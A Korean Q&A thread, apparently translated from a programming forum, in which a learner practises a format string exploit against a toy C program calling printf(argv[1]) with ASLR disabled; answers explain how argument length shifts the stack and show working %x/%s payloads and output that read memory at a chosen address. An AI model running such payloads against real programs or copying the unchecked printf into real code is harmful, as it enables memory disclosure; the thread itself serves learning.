2014-05-09 5 views
1

연습용으로 포맷 문자열 취약점을 악용하려고하지만 뭔가 잘못되었습니다. 내 목표는 내가 선택한 특정 주소에서 읽기 위해 그러한 버그를 악용하는 것입니다.형식 문자열 취약점 연습

#include <stdio.h> 
void main(int argv, char *argv[]){ 
    printf(argv[1]); 
} 

이 프로그램은 2.6.20 리눅스 커널을 장착의 x86 시스템에서 실행됩니다 :

내가 악용하기 위해 노력하고있어 코드입니다.

echo 0 > /proc/sys/kernel/randomize_va_space 
: 나는 또한 함께 ASLR을 비활성화 한
... 
80483cb:  e8 e8 fe ff ff   call 80482b8 <[email protected]> 
80483cb:  e8 e8 fe ff ff   call 80482b8 <[email protected]> 
80483d0:  83 c4 10    add $0x10,%esp 
80483d3:  b8 00 00 00 00   mov $0x0,%eax 
... 

그냥 확인하기 : 내가 코드 섹션에 속하는 주소 0x80483cb, 저장 바이트를 인쇄 할 트링있어

./print AAAA`perl -e 'print "%08x."x141'` 
AAAA00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0. 
bffff108.b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108. 
bffff0b0.b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0. 
b7ff66b0.b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0. 
08048440.b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2ac.bffff2b4.00000000.bffff57a.bffff5dd. 
bffff5f1.bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701. 
bffff711.bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc. 
bffffce7.bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2. 
bfffff0a.bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e. 
bfffffb7.bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010. 
078bfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005. 
00000007.00000007.b7fea000.00000008.00000000.00000009.080482d0.0000000b.00000000.0000000c. 
00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000000f.bffff29b.00000000. 
00000000.00000000.00000000.00000000.69000000.00363836.00000000.00000000.00000000.72702f2e. 
00746e69.41414141. 

마지막으로 내가 시도 :

내가하고있는 메모리 주소를 저장하는 정확한 위치를 발견했습니다 그 바이트를 볼 수 있도록하기 전에

./print $(printf "\xcb\x83\x04\x08")`perl -e 'print "%08x."x140 . "%s"'` 

하지만 내가 가진 것은 잘못이다 : 위의 바이트가하고 인쇄하는 것은

00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.bffff108. 
b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.bffff0b0. 
b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.b7ff66b0. 
b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.08048440. 
b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2af.bffff2b7.00000000.bffff57a.bffff5dd.bffff5f1. 
bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.bffff711. 
bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.bffffce7. 
bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.bfffff0a. 
bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.bfffffb7. 
bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.078bfbff. 
00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007. 
00000007.b7fea000.00000008.000Segmentationfault 

내가 기대하는 것은 화면에 문자의 집합을 얻을이었다 첫 번째 \ x00까지 사용한 주소의 바이트 수입니다. 내가 뭘 잘못하고 있니?

답변

1

인수의 길이를 변경하지 않으면 작동합니다.

%08x.을 하나 제거하고 %s을 하나 추가하십시오. 이렇게하면 입력 내용이 3 바이트 더 짧아지고 효과적으로 스택 레이아웃이 변경됩니다. 따라서 올바른 주소를 더 이상 명중하지 않을 가능성이 있습니다.

항상 고정 된 크기로 문자열을 채울 작은 스크립트를 작성하는 것이 좋습니다. 이렇게하면 이러한 변경을 피할 수 있습니다.

환경을 변경하면 ($ PWD (cd ..), 환경 변수 추가/제거 등) 스택 레이아웃도 변경됩니다. 환경 재설정은 여기서 도움이 될 수 있습니다 (env -i). 여기

는 인수의 길이를 변경하지 않고 vuln 프로그램의 실행입니다 :

$ ./nagga $ (printf와 "를 \ X41 \ X41 \ X41 \ X41") XX perl -e 'print "%x."x118 . "%x"'; AAAAXX0.8048409 .f7fceff4.8048400.0.0.f7e454b3.2.ffffd6b4.ffffd6c0.f7fd3000.0.ffffd61c.ffffd6c0.0.804821c.f7fceff4.0.0.0.c1a6169f.f6a2b28f.0.0.2.8048330.0.f7ff0a90.f7e453c9.f7ffcff4.2.8048330. 0.8048351.80483e4.2.ffffd6b4.8048400.8048470.f7feb660.ffffd6ac.f7ffd918.2.ffffd947.ffffd952.ffffd962.ffffd984.ffffd997.ffffd9a1.ffffdec2.ffffded6.ffffdf23.ffffdf2d.ffffdf3e.ffffdf46.ffffdf51. ffffdf63.ffffdf70.ffffdfa4.ffffdfc4.ffffdfe6.0.20.f7fdb420.21.f7fdb000.10.78bfbff.6.1000.11.64.3.8048034.4.20.5.9.7.f 7fdc000.8.0.9.8048330.b.0.c.0.d.0.e.0.17.0.19.ffffd7bb.1f.ffffdff0.f.ffffd7cb.0.0.0.0.0.f4000000.2b137f67.69b01f05.93944d19.697a2611. 363836.0.616e2f2e.616767.41414141

$ ./nagga $ (printf와 "\ X70 \ X84 \ X04 \ X08") XX perl -e 'print "%x."x118 . "%s"'; pXX0.8048409.f7fceff4.8048400.0.0.f7e454b3.2.ffffd6b4.ffffd6c0.f7fd3000.0.ffffd61c.ffffd6c0.0.804821c.f7fceff4.0.0.0.187cff94.2f785b84.0.0.2.8048330.0.f7ff0a90.f7e453c9.f7ffcff4.2.8048330.0.8048351.80483e4.2.ffffd6b4.8048400.8048470.f7feb660.ffffd6ac.f7ffd918. . f7fdb000.10.78bfbff.6.1000.11.64.3.8048034.4.20.5.9.7.f7fdc000.8.0.9.8048330.b.0.c.0.d.0.e.0.17.0.19.ffffd7bb.1f.ffffdff0.f.ffffd7cb .0.0.0.0.0.f000000.5f19366a.9135f3e8.e60e0ac6.69afc87d.363836.0.616e2f2e.616767. Ë $ Ð U S t f Ћ u [] Ð S r

예상대로 작동합니다.

+0

우분투 12.04.04 LTS VM에서 시험해 보았습니다. ASLR 비활성화 됨 (여기서는 중요하지 않음). 첫 번째 명령은 709 바이트 길이의 문자열을 생성합니다 :'echo -n AAAA'perl -e 'print "% 08x."x141'' | wc -c'. 두 번째 명령은 707 바이트를 생성합니다 :'echo -n $ (printf "\ xcb \ x83 \ x04 \ x08")'perl -e 'print "% 08x"x140. "% s" ';'| wc -c'. 두 명령을 정확히 같은 길이로 만들면 제대로 작동합니다. – mofoe

+0

답변 해 주셔서 감사합니다. 나는 당신이 제안한 것을 시도했다. (% 08x 대신에 직접 % x를 사용하라) 작동한다. 그래도 내 솔루션이 작동해서는 안되는 이유를 알고 싶습니다. 그 % 08x을 이해합니다. % s보다 3 바이트 이상이지만, 스택에있는 마지막 바이트 (상위 주소) 인 것처럼 문자열 포인터와 문자열 자체 사이의 거리를 혼동해서는 안됩니다. 그리고 내가 아는 한이게 중요한 것인가? 내가 틀렸어? – badnack

+0

죄송합니다. 회신하는 순간에 의견을 수정했습니다. 지금 일합니다. 문제는 정말로 그 3 바이트 때문이었습니다. – badnack